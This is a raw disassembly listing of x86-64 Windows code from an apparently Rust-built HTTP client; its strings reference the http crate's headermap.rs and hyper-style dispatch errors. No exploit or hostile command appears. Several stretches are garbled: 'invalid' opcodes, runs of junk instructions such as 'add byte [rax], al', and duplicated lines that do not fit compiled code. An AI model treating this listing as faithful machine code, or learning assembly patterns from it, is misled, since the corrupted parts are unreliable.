mov ebp, eax
cmp byte [rdi + 0x6e0], 7
je 0x14005fbba
movzx eax, byte [rdi + 0x791]
test eax, eax
je 0x14005efef
cmp eax, 2
je 0x140062151
movzx eax, byte [rdi + 0x688]
test al, 1
je 0x14005fbc6
cmp byte [rdi + 0x689], 0
je 0x14005fbc6
lea rcx, [rdi + 0x688]
call fcn.14003df20
jmp 0x14005fbc6
movzx ebp, byte [rdi + 0x689]
lea rdx, [rdi + 0x6b0]
mov rax, qword [rdi + 0x698]
mov r8, qword [rdi + 0x6a0]
mov r9, qword [rdi + 0x6a8]
lea rcx, [rsp + 0x600]
call qword [rax]
lea rdx, [rdi + 0x6d0]
mov rax, qword [rdi + 0x6b8]
mov r8, qword [rdi + 0x6c0]
mov r9, qword [rdi + 0x6c8]
lea rcx, [rsp + 0x3f0]
call qword [rax]
movzx eax, word [rdi + 0x6d8]
mov byte [rsp + 0x120], bl
mov byte [rsp + 0x121], bpl
mov qword [rsp + 0x128], rsi
movups xmm0, xmmword [rsp + 0x600]
movups xmm1, xmmword [rsp + 0x610]
movups xmmword [rsp + 0x130], xmm0
movups xmmword [rsp + 0x140], xmm1
movups xmm0, xmmword [rsp + 0x3f0]
movdqu xmm1, xmmword [rsp + 0x400]
movups xmmword [rsp + 0x150], xmm0
movdqu xmmword [rsp + 0x160], xmm1
mov word [rsp + 0x170], ax
movups xmm0, xmmword [0x140141090]
movaps xmmword [rsp + 0x610], xmm0
movdqu xmm0, xmmword [0x140141080]
movdqa xmmword [rsp + 0x600], xmm0
mov rcx, r14
call fcn.140038610
test al, al
jne 0x140062425
lea rdx, [rsp + 0x600]
mov qword [rsp + 0x30], r14
mov rcx, r14
call fcn.140038000
mov ebp, eax
movzx r13d, word [rdi + 0x680]
mov eax, ebp
and eax, r13d
mov r12, qword [rdi + 0x670]
mov rbx, qword [rdi + 0x678]
mov r10, qword [rsp + 0x600]
mov rcx, qword [rsp + 0x608]
mov qword [rsp + 0x40], rcx
movzx ecx, byte [rsp + 0x608]
mov byte [rsp + 0x74], cl
mov rcx, qword [rsp + 0x610]
mov qword [rsp + 0x38], rcx
xor esi, esi
mov dword [rsp + 0x320], ebp
jmp 0x14005f170
inc rsi
inc r15
mov rax, r15
nop dword [rax]
mov r15, rax
mov eax, 0
cmp r15, rbx
jae 0x14005f170
movzx r11d, word [r12 + r15*4]
cmp r11, 0xffff
je 0x14005f256
movzx eax, word [r12 + r15*4 + 2]
mov ecx, r13d
and ecx, eax
mov edx, r15d
sub edx, ecx
and edx, r13d
cmp rdx, rsi
jb 0x14005f256
cmp ax, bp
jne 0x14005f164
mov rdx, qword [rdi + 0x650]
cmp rdx, r11
jbe 0x1400620f1
test r10, r10
sete r8b
mov rax, qword [rdi + 0x648]
imul rdx, r11, 0x68
mov rcx, qword [rax + rdx + 0x40]
test rcx, rcx
setne r9b
cmp r9b, r8b
je 0x14005f164
cmp rsi, 0x200
setae al
mov r13, qword [rsp + 0x30]
cmp qword [r13], 2
setne bl
and bl, al
lea rax, [rsp + 0x600]
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x1160], xmm0
mov r11, qword [rsp + 0x40]
mov qword [rsp + 0x3f0], r13
mov qword [rsp + 0x3f8], r10
mov qword [rsp + 0x400], r11
movdqa xmm0, xmmword [rsp + 0x1160]
movdqu xmmword [rsp + 0x408], xmm0
mov qword [rsp + 0x418], r15
mov word [rsp + 0x420], bp
mov byte [rsp + 0x422], bl
cmp bl, 2
mov qword [rsp + 0xe78], r10
mov qword [rsp + 0xe70], r11
jne 0x14005f2fc
mov rdx, qword [r13 + 0x28]
cmp r11, rdx
jb 0x14005fb31
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r11
call fcn.1401085b0
mov rdx, qword [rsp + 0x140]
test rdx, rdx
je 0x14006244e
mov rcx, qword [rsp + 0x138]
call fcn.1400329a0
test rax, rax
je 0x14006244e
mov rbx, rax
mov rsi, rdx
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], rdx
mov r8, qword [rsp + 0x140]
test r8, r8
je 0x14005f865
call fcn.140035b40
xor r14d, r14d
cmp bpl, 2
je 0x14005e209
jmp 0x14005dfff
call fcn.140035b40
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
jne 0x14005e30c
jmp 0x14005e2a9
mov al, 5
jmp 0x14005f634
mov al, 4
mov rcx, qword [rsp + 0x368]
mov byte [rcx], al
mov al, 3
jmp 0x14006121d
lea rcx, [r14 + 0x130]
call fcn.14010b950
jmp 0x14005ebd0
cmp byte [rsp + 0x120], 2
jb 0x14005fb67
mov rsi, qword [rsp + 0x128]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x148]
mov rax, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
call qword [rax + 0x10]
lea rcx, [rsp + 0x168]
mov rax, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x160]
call qword [rax + 0x10]
cmp byte [rdi + 0x6e0], 7
jne 0x14005efbf
lea rcx, [rdi + 0x688]
call fcn.14003e360
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x68], r15
mov eax, ebp
mov word [rsp + 0x2e], bp
cmp byte [rdi + 0x791], 2
je 0x140062359
mov byte [rdi + 0x729], 0
mov rbx, qword [rdi + 0x628]
mov r14, qword [rdi + 0x630]
mov rsi, qword [rdi + 0x638]
lea rdx, [rdi + 0x640]
lea rcx, [rsp + 0x3f0]
mov r8d, 0xe8
call fcn.140106530
cmp byte [rdi + 0x770], 2
jne 0x14005fdb0
movzx eax, byte [0x140182310]
mov edx, 0x140
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400623a1
mov r12, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov qword [rax + 0x40], 5
lock inc qword [rax]
jle case.0x14005cae1.2
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x3f0]
mov r8d, 0xe8
call fcn.140106530
mov rbp, qword [rdi + 0x768]
mov rax, qword [rbp + 0x1c0]
nop dword [rax + rax]
test al, 1
jne 0x14005fe19
cmp rax, 0xfffffffffffffffe
je 0x1400626b7
lea rcx, [rax + 2]
lock cmpxchg qword [rbp + 0x1c0], rcx
jne 0x14005fca0
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x30], rsi
mov r15d, 1
mov rsi, rbx
mov ebx, 1
lock xadd qword [rbp + 0x88], rbx
mov rdx, rbx
call fcn.140065900
mov rcx, r14
mov r14, rax
and ebx, 0x1f
imul r13, rbx, 0x118
mov qword [rax + r13], rsi
mov qword [rax + r13 + 8], rcx
mov rax, qword [rsp + 0x30]
mov qword [r14 + r13 + 0x10], rax
lea rcx, [r14 + r13]
add rcx, 0x18
lea rdx, [rsp + 0x120]
mov r8d, 0xe8
call fcn.140106530
mov qword [r14 + r13 + 0x100], 0
mov qword [r14 + r13 + 0x108], 1
mov qword [r14 + r13 + 0x110], r12
mov ecx, ebx
shl r15, cl
lock or qword [r14 + 0x2310], r15
mov rax, qword [rbp + 0x110]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbp + 0x110], rcx
jne 0x14005fd60
mov rcx, qword [rdi + 0x760]
xor edx, edx
mov eax, 1
lock cmpxchg qword [rcx + 0x10], rdx
je 0x14005ff60
cmp byte [rdi + 0x770], 0
je 0x14005ff60
lea rcx, [rsp + 0x14e0]
lea rdx, [rsp + 0x3f0]
mov r8d, 0xe8
call fcn.140106530
lea rdx, [rsp + 0x120]
xor ebp, ebp
cmp rbx, 3
jne 0x1400601d8
xor r13d, r13d
mov esi, 6
xor r15d, r15d
mov r12, r14
jmp 0x140060262
lea rcx, [rsp + 0x16e8]
lea rdx, [rsp + 0x120]
mov r8d, 0xe8
call fcn.140106530
cld
or al, byte [rax]
cld
or al, byte [rax]
mov rax, qword [r12 + 0x30]
nop dword [rax]
mov rcx, rax
or rcx, 4
or ecx, 4
or ecx, 4
lock cmpxchg qword [r12 + 0x30], rcx
jne 0x14005fe40
and eax, 0xa
cmp eax, 8
jne 0x14005fe65
mov rax, qword [r12 + 0x10]
mov rcx, qword [r12 + 0x18]
call qword [rax + 0x10]
lock dec qword [r12]
jne 0x14005fe74
mov byte [rdi + 0x770], 1
movzx eax, byte [0x140182310]
mov edx, 0x140
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400623a1
mov r12, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r14
mov qword [rax], 1
mov qword [rax + 8], 1
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add eax, 0xf0000000
inc qword [rax]
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add eax, 0xf0000000
inc qword [rax]
jle case.0x14005cae1.2
mov rsi, rbx
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x3f0]
mov r8d, 0xe8
call fcn.140106530
mov rbp, qword [rdi + 0x768]
mov rax, qword [rbp + 0x1c0]
nop word cs:[rax + rax]
test al, 1
jne 0x140060103
cmp rax, 0xfffffffffffffffe
je 0x1400627ad
lea rcx, [rax + 2]
lock cmpxchg qword [rbp + 0x1c0], rcx
jne 0x14005fff0
lea rcx, [rsp + 0x14e0]
lea rdx, [rsp + 0x120]
mov r8d, 0xe8
call fcn.140106530
mov rax, qword [r12 + 0x30]
mov rbx, rsi
mov r14, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [r12 + 0x30], rcx
jne 0x140060130
and eax, 0xa
cmp eax, 8
jne 0x140060155
mov r12, rsi
mov rsi, rbx
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400623b0
mov rbx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.connection_was_not_readydispatch_dropped_without_returning_error
mov r8d, 0x18
mov rcx, rax
call fcn.140065c80
lea r15, [rsp + 0x120]
lea rdx, [rsp + 0x14e0]
mov r8d, 0xe8
mov rcx, r15
call fcn.140106530
mov rdx, r15
mov r13d, 1
xor ebp, ebp
mov r15, r14
jmp 0x140060262
lea r14, [rsp + 0x600]
mov r8d, 0xe8
mov rcx, r14
call fcn.140106530
mov qword [rdi + 0x7a8], rbp
mov qword [rdi + 0x7b0], r13
mov qword [rdi + 0x7b8], rbx
mov qword [rdi + 0x7c0], rsi
mov qword [rdi + 0x7c8], r15
mov qword [rdi + 0x7d0], r12
lea rcx, [rdi + 0x7d8]
mov r8d, 0xe8
mov rdx, r14
call fcn.140106530
lea rsi, [rdi + 0x7a8]
lea rax, [rdi + 0x7b8]
mov qword [rsp + 0x38], rax
test rbp, rbp
je 0x1400605f6
mov r8d, 0xa0
mov rbx, rbp
mov rcx, rbp
lea rdx, [rsp + 0x1160]
call fcn.140106530
mov r8d, 0xa0
lea rbp, [rsp + 0xfa0]
mov rcx, rbp
mov rdx, rbx
call fcn.140106530
mov rax, qword [rsp + 0x930]
mov qword [rsp + 0xe0], rax
movaps xmm0, xmmword [rsp + 0x920]
test byte [rax + riz], ah
or dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
test byte [rax + riz], ah
or dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
movaps xmm0, xmmword [rsp + 0x8e0]
add byte [rax], al
movaps xmm1, xmmword [rsp + 0x8f0]
movaps xmm2, xmmword [rsp + 0x900]
movaps xmm3, xmmword [rsp + 0x910]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
mov rcx, qword [rsp + 0x38]
call fcn.140066160
mov qword [rdi + 0x7b8], r12
mov qword [rdi + 0x7c0], r13
mov r8d, 0xa0
mov rcx, rsi
mov rdx, rbp
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x90]
movdqa xmm1, xmmword [rsp + 0xa0]
movdqa xmm2, xmmword [rsp + 0xb0]
movdqa xmm3, xmmword [rsp + 0xc0]
movups xmmword [r14], xmm0
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x30], xmm3
movdqa xmm0, xmmword [rsp + 0xd0]
movdqu xmmword [r14 + 0x40], xmm0
mov rax, qword [rsp + 0xe0]
mov qword [r14 + 0x50], rax
lea rax, [r13 - 6]
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
jne 0x140060966
cmp qword [rsi], 0
jne 0x14006211a
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x78]
call fcn.140065e60
mov r13, qword [rsp + 0x128]
cmp r13, 6
je 0x14006121b
mov rbp, rbx
mov r12, qword [rsp + 0x120]
mov r8d, 0xa0
lea rcx, [rsp + 0x1160]
mov rdx, r15
call fcn.140106530
movups xmm0, xmmword [r15 + 0xa0]
movdqu xmm1, xmmword [r15 + 0xb0]
movdqu xmm2, xmmword [r15 + 0xc0]
movdqu xmm3, xmmword [r15 + 0xd0]
movaps xmmword [rsp + 0x370], xmm0
movdqa xmmword [rsp + 0x380], xmm1
movdqa xmmword [rsp + 0x390], xmm2
movdqa xmmword [rsp + 0x3a0], xmm3
movdqu xmm0, xmmword [r15 + 0xe0]
movdqa xmmword [rsp + 0x3b0], xmm0
mov rax, qword [r15 + 0xf0]
mov qword [rsp + 0x3c0], rax
cmp qword [rsi], 0
jne 0x140062132
mov rax, qword [rsp + 0x30]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400608c5
mov rax, qword [rbx + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x140060890
and eax, 0xa
cmp eax, 8
jne 0x1400608b2
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
call qword [rax + 0x10]
lock dec qword [rbx]
jne 0x1400608c5
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call fcn.140065830
mov qword [rsi], 1
cmp r13d, 4
je 0x140060690
cmp r13d, 5
je 0x140062190
mov rbx, rbp
mov r8d, 0xa0
mov rcx, rbp
lea rdx, [rsp + 0x1160]
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x370]
movdqa xmm1, xmmword [rsp + 0x380]
movdqa xmm2, xmmword [rsp + 0x390]
movdqa xmm3, xmmword [rsp + 0x3a0]
movaps xmmword [rsp + 0x8e0], xmm0
movdqa xmmword [rsp + 0x8f0], xmm1
movdqa xmmword [rsp + 0x900], xmm2
movdqa xmmword [rsp + 0x910], xmm3
movdqa xmm0, xmmword [rsp + 0x3b0]
movdqa xmmword [rsp + 0x920], xmm0
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x930], rax
jmp 0x1400606a9
cmp rax, 1
jne 0x140062102
mov r15, qword [rdi + 0x7b8]
mov qword [rdi + 0x7c0], 5
cmp r13, 5
mov rbp, qword [rsp + 0x60]
je 0x140062389
lea rcx, [rsp + 0x3f0]
mov r8d, 0xf8
mov rdx, rsi
call fcn.140106530
mov rcx, qword [rsp + 0x38]
call fcn.140066160
mov qword [rdi + 0x7c0], 8
mov rsi, qword [rsp + 0x40]
lea rcx, [rsp + 0x1440]
lea rdx, [rsp + 0x3f0]
mov r8d, 0xa0
call fcn.140106530
movups xmm0, xmmword [rsp + 0x490]
movdqu xmm1, xmmword [rsp + 0x4a0]
movdqu xmm2, xmmword [rsp + 0x4b0]
movdqu xmm3, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0xae0], xmm0
movdqa xmmword [rsp + 0xaf0], xmm1
movdqa xmmword [rsp + 0xb00], xmm2
movdqa xmmword [rsp + 0xb10], xmm3
movdqu xmm0, xmmword [rsp + 0x4d0]
movdqa xmmword [rsp + 0xb20], xmm0
movq qword [rsp + 0xb20], mm0
movq qword [rsp + 0xb20], mm0
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0xb30], rax
xor byte [rbx], cl
add byte [rax], al
xor byte [rbx], cl
add byte [rax], al
mov rcx, rsi
call fcn.140066250
cmp r13, 4
jne 0x140060af5
lea rcx, [rsp + 0xea0]
lea rdx, [rsp + 0x1440]
mov r8d, 0xa0
call fcn.140106530
cmp byte [rdi + 0x791], 2
je 0x140062151
lea r14, [rdi + 0x730]
mov rcx, qword [rdi + 0x778]
test rcx, rcx
je 0x140060ab0
lea rdx, [rsp + 0xf00]
mov rax, qword [rdi + 0x780]
call qword [rax + 0x20]
cmp byte [rdi + 0x791], 2
je 0x140062151
mov rax, qword [rdi + 0x760]
mov rax, qword [rax + 0x10]
cmp rax, 3
jne 0x14006112e
mov r12, qword [rsp + 0xea0]
mov r14, qword [rsp + 0xea8]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
invalid
add byte [rax], al
lea rcx, [rsp + 0x1320]
mov r8d, 0x90
add byte [rax], al
add al, ch
pop rdx
or al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
invalid
add byte [rax], al
add al, ch
pop rdx
or al, byte [rax]
jmp 0x140060d40
movzx r12d, byte [rdi + 0x791]
cmp r12b, 2
je 0x140062151
movzx r14d, byte [rdi + 0x7a0]
movzx eax, byte [rdi + 0x790]
mov byte [rsp + 0x30], al
mov rcx, qword [rdi + 0x778]
xor esi, esi
test rcx, rcx
je 0x140060b35
mov rax, qword [rdi + 0x780]
call qword [rax + 0x18]
mov rsi, rax
mov rbx, qword [rdi + 0x788]
lock inc qword [rbx]
jle case.0x14005cae1.2
cmp byte [r15 + 0x29], 2
je 0x140060bb6
mov qword [rsp + 0x38], rdx
mov byte [rsp + 0x40], r14b
mov r14, qword [r15 + 0x10]
test r14, r14
je 0x140060b8e
mov rbp, qword [r15 + 0x18]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140060b8e
cmp qword [rbp + 0x10], 0x11
jb 0x140060b7c
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r15 + 0x20]
lock dec qword [rax]
mov rbp, qword [rsp + 0x60]
movzx r14d, byte [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
jne 0x140060bb6
mov rcx, qword [r15 + 0x20]
call fcn.1400398e0
mov rdx, qword [rsp + 0x38]
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], rdx
mov qword [r15 + 0x20], rbx
movzx eax, byte [rsp + 0x30]
mov byte [r15 + 0x28], al
mov byte [r15 + 0x29], r12b
mov eax, dword [rsp + 0x120]
mov dword [r15 + 0x2a], eax
movzx eax, word [rsp + 0x124]
mov word [r15 + 0x2e], ax
lea rcx, [rsp + 0x3f0]
lea rdx, [rsp + 0x1440]
mov r8d, 0xa0
call fcn.140106530
movaps xmm0, xmmword [rsp + 0xae0]
movaps xmm1, xmmword [rsp + 0xaf0]
movaps xmm2, xmmword [rsp + 0xb00]
movaps xmm3, xmmword [rsp + 0xb10]
movups xmmword [rsp + 0x490], xmm0
movups xmmword [rsp + 0x4a0], xmm1
movups xmmword [rsp + 0x4b0], xmm2
movups xmmword [rsp + 0x4c0], xmm3
movaps xmm0, xmmword [rsp + 0xb20]
movups xmmword [rsp + 0x4d0], xmm0
mov rax, qword [rsp + 0xb30]
mov qword [rsp + 0x4e0], rax
mov eax, 8
cmp r13, 3
je 0x140060c95
mov byte [rsp + 0x228], r14b
lea rcx, [rsp + 0x128]
lea rdx, [rsp + 0x3f0]
mov r8d, 0xf8
call fcn.140106530
mov eax, 0x100
mov qword [rsp + rax + 0x120], r15
mov r12, qword [rsp + 0x128]
mov r14, qword [rsp + 0x130]
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x1320]
mov r8d, 0x90
call fcn.140106530
movups xmm0, xmmword [rsp + 0x1c8]
movdqu xmm1, xmmword [rsp + 0x1d8]
movdqu xmm2, xmmword [rsp + 0x1e8]
movdqu xmm3, xmmword [rsp + 0x1f8]
movaps xmmword [rsp + 0x880], xmm0
movdqa xmmword [rsp + 0x890], xmm1
movdqa xmmword [rsp + 0x8a0], xmm2
movdqa xmmword [rsp + 0x8b0], xmm3
movdqu xmm0, xmmword [rsp + 0x208]
movdqa xmmword [rsp + 0x8c0], xmm0
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x8d0], rax
mov r15, qword [rsp + 0x220]
movzx ebx, byte [rsp + 0x228]
lea rcx, [rdi + 0x730]
call fcn.140064ab0
lea rsi, [rdi + 0x729]
cmp byte [rdi + 0x729], 0
je 0x140060d74
lea rcx, [rdi + 0x628]
call fcn.140002e60
lea rcx, [rdi + 0x708]
call fcn.14005b7d0
mov byte [rsi], 0
lea rcx, [rsp + 0x15c8]
lea rdx, [rsp + 0x1320]
mov r8d, 0x90
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x880]
movaps xmm1, xmmword [rsp + 0x890]
movaps xmm2, xmmword [rsp + 0x8a0]
movaps xmm3, xmmword [rsp + 0x8b0]
movaps xmmword [rsp + 0xa20], xmm0
movaps xmmword [rsp + 0xa30], xmm1
add byte [rax], al
movaps xmmword [rsp + 0xa40], xmm2
movaps xmmword [rsp + 0xa50], xmm3
movaps xmm0, xmmword [rsp + 0x8c0]
movaps xmmword [rsp + 0xa60], xmm0
test byte [rax + rax*8], ah
or byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa60], eax
mov rax, qword [rsp + 0x8d0]
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0x88]
mov byte [rax], 1
cmp r13, 5
je 0x140061227
lea rcx, [rsp + 0x13b0]
lea rdx, [rsp + 0x15c8]
mov r8d, 0x90
call fcn.140106530
movaps xmm0, xmmword [rsp + 0xa20]
movaps xmm1, xmmword [rsp + 0xa30]
movaps xmm2, xmmword [rsp + 0xa40]
movaps xmm3, xmmword [rsp + 0xa50]
movaps xmmword [rsp + 0xa80], xmm0
movaps xmmword [rsp + 0xa90], xmm1
movaps xmmword [rsp + 0xaa0], xmm2
movaps xmmword [rsp + 0xab0], xmm3
movaps xmm0, xmmword [rsp + 0xa60]
movaps xmmword [rsp + 0xac0], xmm0
mov rax, qword [rsp + 0xa70]
mov qword [rsp + 0xad0], rax
mov rcx, rbp
call fcn.1400662f0
cmp r13, 3
je 0x14006123d
cmp r13, 4
je 0x1400613b7
cmp byte [rdi + 0x791], 2
je 0x140062151
cmp byte [rdi + 0x770], 2
je 0x140061163
cmp qword [rdi + 0x798], 0
je 0x140061163
mov rax, qword [rdi + 0x760]
mov rax, qword [rax + 0x10]
cmp rax, 1
jne 0x14006141b
mov rax, qword [r14 + 0x70]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [r14 + 0x60]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [r14 + 0x50]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [r14 + 0x40]
movaps xmmword [rsp + 0x160], xmm0
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmm2, xmmword [r14 + 0x20]
movdqu xmm3, xmmword [r14 + 0x30]
movdqa xmmword [rsp + 0x150], xmm3
movdqa xmmword [rsp + 0x140], xmm2
movdqa xmmword [rsp + 0x130], xmm1
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140064ab0
mov r12, qword [rsp + 0xea0]
mov r14, qword [rsp + 0xea8]
lea rdx, [rsp + 0xeb0]
lea rcx, [rsp + 0x1320]
mov r8d, 0x90
call fcn.140106530
lea rsi, [rdi + 0x729]
mov r13d, 4
jmp 0x140060d74
mov al, 4
mov rcx, qword [rsp + 0x88]
mov byte [rcx], al
mov rax, qword [rsp + 0x360]
mov qword [rax], 4
mov cl, 3
jmp 0x140061384
mov ebx, 3
mov r15, r12
cmp byte [rdi + 0x490], 2
jb 0x140061279
mov byte [rdi + 0xbd0], cl
movaps xmm6, xmmword [rsp + 0x19d0]
movaps xmm7, xmmword [rsp + 0x19e0]
movaps xmm8, xmmword [rsp + 0x19f0]
add rsp, 0x1a08
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0xf10]
test rax, rax
je 0x140061570
cmp eax, 2
jne 0x140061570
lea rcx, [rsp + 0xf28]
call 0x14002d730
test al, al
je 0x14006157f
mov rax, qword [r14 + 0x70]
mov qword [rsp + 0xc30], rax
movups xmm0, xmmword [r14 + 0x60]
movaps xmmword [rsp + 0xc20], xmm0
movups xmm0, xmmword [r14 + 0x50]
movaps xmmword [rsp + 0xc10], xmm0
movups xmm0, xmmword [r14 + 0x40]
movaps xmmword [rsp + 0xc00], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0xbf0], xmm3
movaps xmmword [rsp + 0xbe0], xmm2
movaps xmmword [rsp + 0xbd0], xmm1
movaps xmmword [rsp + 0xbc0], xmm0
mov rax, qword [rdi + 0x620]
mov rbx, qword [rax + 0x68]
test rbx, rbx
je 0x140061a74
mov rsi, qword [rax + 0x70]
mov r14, qword [rsi + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x78
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062581
dec r14
and r14, 0xfffffffffffffff0
lea rcx, [rbx + r14]
add rcx, 0x10
mov rdx, qword [rsp + 0xc30]
mov qword [rax + 0x70], rdx
movaps xmm0, xmmword [rsp + 0xc20]
movups xmmword [rax + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0xc10]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xc00]
movups xmmword [rax + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0xbc0]
movdqa xmm1, xmmword [rsp + 0xbd0]
movdqa xmm2, xmmword [rsp + 0xbe0]
movdqa xmm3, xmmword [rsp + 0xbf0]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea r8, [0x140141518]
mov rdx, rax
call qword [rsi + 0x18]
jmp 0x1400611de
cmp qword [rsp + 0xf18], 0
je 0x14006144a
movzx eax, byte [0x140182310]
mov edx, 0x48
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062554
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
lock inc qword [rax]
jle case.0x14005cae1.2
mov rbx, qword [rsp + 0xf38]
test rbx, rbx
jne 0x140061610
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400625c5
mov rbx, rax
mov qword [rax], 2
mov qword [rsp + 0xf38], rax
mov rcx, rbx
call fcn.140034a50
mov qword [rbx], 0
mov qword [rbx + 8], rsi
mov rax, qword [r14 + 0x70]
mov qword [rsp + 0xbb0], rax
movups xmm0, xmmword [r14 + 0x60]
movaps xmmword [rsp + 0xba0], xmm0
movups xmm0, xmmword [r14 + 0x50]
movaps xmmword [rsp + 0xb90], xmm0
movups xmm0, xmmword [r14 + 0x40]
movaps xmmword [rsp + 0xb80], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0xb70], xmm3
movaps xmmword [rsp + 0xb60], xmm2
movaps xmmword [rsp + 0xb50], xmm1
movaps xmmword [rsp + 0xb40], xmm0
mov rax, qword [rdi + 0x620]
mov r15, qword [rax + 0x68]
test r15, r15
je 0x14006174d
mov rbx, qword [rax + 0x70]
mov r14, qword [rbx + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x80
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062572
dec r14
and r14, 0xfffffffffffffff0
lea rcx, [r15 + r14]
add rcx, 0x10
mov qword [rax], rsi
movaps xmm0, xmmword [rsp + 0xb40]
movdqa xmm1, xmmword [rsp + 0xb50]
movdqa xmm2, xmmword [rsp + 0xb60]
movdqa xmm3, xmmword [rsp + 0xb70]
movups xmmword [rax + 8], xmm0
movdqu xmmword [rax + 0x18], xmm1
movdqu xmmword [rax + 0x28], xmm2
movdqu xmmword [rax + 0x38], xmm3
movaps xmm0, xmmword [rsp + 0xb80]
movups xmmword [rax + 0x48], xmm0
movaps xmm0, xmmword [rsp + 0xb90]
movups xmmword [rax + 0x58], xmm0
movdqa xmm0, xmmword [rsp + 0xba0]
movdqu xmmword [rax + 0x68], xmm0
mov rdx, qword [rsp + 0xbb0]
mov qword [rax + 0x78], rdx
lea r8, [0x140141558]
mov rdx, rax
call qword [rbx + 0x18]
jmp 0x1400611de
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x1160], rax
lea rax, [rsp + 0x1160]
mov qword [rsp + 0x3f0], rax
mov qword [rsp + 0x3f8], rsi
